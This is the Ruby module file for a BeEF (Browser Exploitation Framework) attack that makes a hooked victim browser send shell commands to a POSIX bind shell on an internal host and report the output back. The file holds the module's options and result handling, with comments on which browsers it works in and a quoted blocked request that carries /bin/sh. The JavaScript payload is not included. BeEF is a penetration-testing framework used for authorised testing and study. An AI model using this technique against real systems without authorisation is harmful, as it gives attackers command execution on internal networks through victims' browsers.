Path: blob/master/modules/ipec/inter_protocol_posix_bindshell/module.rb
1154 views
#1# Copyright (c) 2006-2025 Wade Alcorn - [email protected]2# Browser Exploitation Framework (BeEF) - https://beefproject.com3# See the file 'doc/COPYING' for copying permission4#5# [+] Summary:6#7# Using Inter-protocol Communication (IPC) the zombie browser will send commands to a listening POSIX shell bound on the target specified in the 'Target Address' input. The target address can be on the zombie's subnet which is potentially not directly accessible from the Internet.8#9# The command results are returned to the BeEF control panel.10#11# [+] Tested:12#13# o Working:14# o Mozilla Firefox 615#16# o Not Working:17# o Mozilla Firefox 6 with the NoScript extension18# o Internet Explorer 8+19# o Chrome 1320# o Opera 1121# o Safari 522#23# [+] Notes:24#25# o The bindshell is closed once the module has completed. This is necessary otherwise the /bin/sh process will hang. To avoid this issue:26#27# o remove the last "& exit" portion of the JavaScript payload. Be aware that this will leave redundant /bin/sh processes running on the target system.28#29# o The NoScript extension for Firefox aborts the request when attempting to access a host on the internal network and displays the following warning:30#31# [ABE] <LOCAL> Deny on {POST http://localhost:4444/index.html?&/bin/sh&& <<< about:blank - 7}32# SYSTEM rule:33# Site LOCAL34# Accept from LOCAL35# Deny36#37# o Internet Explorer is not supported as IE 8+ does not allow posting data to internal network addresses. Earlier versions of IE have not been tested.38#39# o Returning the shell command results is not supported in Chrome, Safari and Opera as JavaScript cannot be executed within the bindshell iframe. The shell commands are executed on the target shell however.40#41# o This module is incompatible with autorun. Upon completing the shell commands it will load the original hooked window in a child iframe resulting in an additional hook. This will result in an infinite loop if this module is set to autorun.42#4344class Inter_protocol_posix_bindshell < BeEF::Core::Command45def self.options46[47{ 'name' => 'ip', 'ui_label' => 'Target Address', 'value' => 'localhost' },48{ 'name' => 'port', 'ui_label' => 'Target Port', 'value' => '4444' },49{ 'name' => 'command_timeout', 'ui_label' => 'Timeout (s)', 'value' => '30' },50{ 'name' => 'cmd', 'ui_label' => 'Shell Commands', 'description' => 'Enter shell commands to execute. Note: the semicolons are required to seperate commands', 'type' => 'textarea',51'value' => 'echo ID: ; id', 'width' => '200px' },52{ 'name' => 'result_size', 'ui_label' => 'Result Size', 'description' => 'Expected maximum size of the result in bytes', 'value' => '1024' }53]54end5556def post_execute57content = {}58content['result'] = @datastore['result'] unless @datastore['result'].nil?59content['fail'] = @datastore['fail'] unless @datastore['fail'].nil?60content['fail'] = 'No data was returned.' if content.empty?61save content62end63end646566